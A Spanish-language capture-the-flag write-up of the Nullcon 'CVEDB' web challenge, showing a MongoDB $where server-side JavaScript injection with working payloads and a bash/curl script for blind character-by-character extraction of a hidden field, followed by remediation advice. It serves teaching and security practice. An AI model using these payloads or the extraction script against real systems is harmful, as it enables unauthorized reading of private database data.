CVEDB - Nullcon CTF Writeup

Datos del Reto

Campo	Valor
Nombre	CVEDB
Categoría	Web
Descripción	*"Let's implement our own CVE database with modern web-scale technologies, so without actual SQL."*
URL	`http://52.59.124.14:5000/`
Flag	`ENO{This_1s_A_Tru3_S1mpl3_Ch4llenge_T0_Solv3_Congr4tz}`

Reconocimiento

Tecnologías Identificadas

```
whatweb 52.59.124.14:5000
http://52.59.124.14:5000 [200 OK] Country[UNITED STATES][US], HTML5,
IP[52.59.124.14], X-Powered-By[Express]
```

- **Backend**: Node.js con Express
- **Base de datos**: MongoDB (inferido por la pista "without actual SQL" = NoSQL)
- **Funcionalidad**: Búsqueda de CVEs mediante un formulario POST a `/search` con parámetro `query`

Análisis de la Aplicación

La aplicación presenta un buscador de CVEs. Al buscar "CVE" se obtienen 26 resultados. Un CVE sospechoso aparece:

- **CVE-1337-1337** (fecha: 1970-01-01, severidad: Critical)
- Descripción: *"This CVE leaks some very confidential flag."*

En el HTML se observan campos comentados que sugieren campos ocultos en la base de datos:

```
<!-- <div class="cve-product">TODO cve.product</div> -->
<!-- <div class="cve-vendor">TODO cve.vendor</div> -->
```

Identificación de la Vulnerabilidad

Comportamiento del Motor de Búsqueda

Primero se determinó que la búsqueda usa **expresiones regulares** (regex) contra los campos `id` y `description`:

Query	Resultado	Interpretación
`CVE`	26 resultados	Regex válido, todos los IDs contienen "CVE"
`flag`	1 resultado	Solo CVE-1337-1337 menciona "flag" en la descripción
`.*`	26 resultados	Wildcard regex, coincide con todo
`(`	Error de BD	Regex PCRE inválido (grupo sin cerrar)
`)`	Error de BD	Regex PCRE inválido
`ENO`	0 resultados	La flag no está en campos buscables

Descubrimiento: Inyección en `$where` de MongoDB

La pista clave fue el hint: *"without actual SQL"* = NoSQL (MongoDB). El backend construye una consulta `$where` con el regex del usuario interpolado directamente en código JavaScript.

La estructura del backend es aproximadamente:

```
// Vulnerable - user input interpolated into $where JavaScript
const filter = {
    $where: `/${query}/i.test(this.description) ||
/${query}/i.test(this.id)`
};
collection.find(filter);
```

Esto permite **Server-Side JavaScript Injection** (SSJI) al cerrar el literal regex (`/`) e inyectar código JavaScript arbitrario.

Prueba de Concepto

Payload: `test/i)||true||(/test`

Esto transforma la consulta `$where` en:

```
/test/i)||true||(/test/i.test(this.description) || /test/i)||true||
(/test/i.test(this.id)
```

- `/test/i` es un regex literal válido
- `)||true||(` inyecta `true` como valor de retorno
- El resultado es `true` para TODOS los documentos → 26 resultados

---

Explotación

Paso 1: Verificar acceso a campos del documento

En el contexto `$where` de MongoDB, `this` referencia el documento actual. Se verificó qué campos existen:

```
this._id          → 26 resultados (existe en todos los documentos)
this.description → 26 resultados (existe)
this.product      → 26 resultados (existe)
this.vendor       → 26 resultados (existe)
this.severity     → 26 resultados (existe)
this.flag         → 0 resultados (NO existe)
```

Paso 2: Localizar la flag

La flag NO está en un campo llamado `flag`, sino en los campos `product` y `vendor`. Se verificó con:

Payload: `1337/i)&&(this.product.startsWith("ENO"))&&(/1337`

```
// Se convierte en:
/1337/i)&&(this.product.startsWith("ENO"))&&(/1337/i.test(this.description)
||  ...
```

Resultado: 1 resultado (CVE-1337-1337) → El campo `product` comienza con "ENO".

Paso 3: Extracción Blind Character-by-Character

Se determinó que la flag tiene **54 caracteres** verificando `this.product.length`:

```
this.product.length > 50  → true
this.product.length > 60  → false
this.product.length == 54 → true
```

Luego se extrajo carácter por carácter usando `startsWith()`:

Payload genérico:

```
1337/i)&&(this.product.startsWith("ENO{T"))&&(/1337
```

Script de extracción (simplificado):

```
FLAG="ENO{"
CHARSET='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_{}'

for pos in $(seq 4 53); do
  for char in $(echo $CHARSET | fold -w1); do
    test_prefix="${FLAG}${char}"
    payload="1337/i)&&(this.product.startsWith(\"${test_prefix}\"))&&(/1337"

    result=$(curl -s -X POST http://52.59.124.14:5000/search \
      --data-urlencode "query=${payload}" | grep -c 'Found 1')

    if [ "$result" -eq 1 ]; then
      FLAG="${FLAG}${char}"
      break
    fi
  done
done
echo "FLAG: $FLAG"
```

Resultado

Después de ~600 peticiones HTTP (~10 minutos), se extrajo la flag completa:

```
ENO{This_1s_A_Tru3_S1mpl3_Ch4llenge_T0_Solv3_Congr4tz}
```

Flag

```
ENO{This_1s_A_Tru3_S1mpl3_Ch4llenge_T0_Solv3_Congr4tz}
```

Resumen de la Vulnerabilidad

Aspecto	Detalle
Tipo	NoSQL Injection / Server-Side JavaScript Injection (SSJI)
Ubicación	Parámetro `query` en POST `/search`
Causa raíz	Interpolación directa del input del usuario en una expresión `$where` de MongoDB con regex literal
Impacto	Ejecución de JavaScript arbitrario en el contexto del servidor MongoDB, permitiendo leer cualquier campo de cualquier documento
Remediación	Usar `$regex` como operador de MongoDB en lugar de `$where` con interpolación de strings. Sanitizar el input del usuario.

Lecciones Aprendidas

1. **Nunca interpolar input del usuario en `$where`**: El operador `$where` de MongoDB ejecuta JavaScript y es inherentemente peligroso con input no sanitizado.
2. **"Without SQL" no significa seguro**: Las bases de datos NoSQL tienen sus propios vectores de inyección.
3. **Campos ocultos no son campos seguros**: Aunque la UI no muestre ciertos campos (product, vendor), un atacante puede acceder a ellos si existe una vulnerabilidad de inyección.
4. **Blind injection es poderosa**: Incluso sin ver directamente los datos, se pueden extraer mediante técnicas de inyección ciega booleana.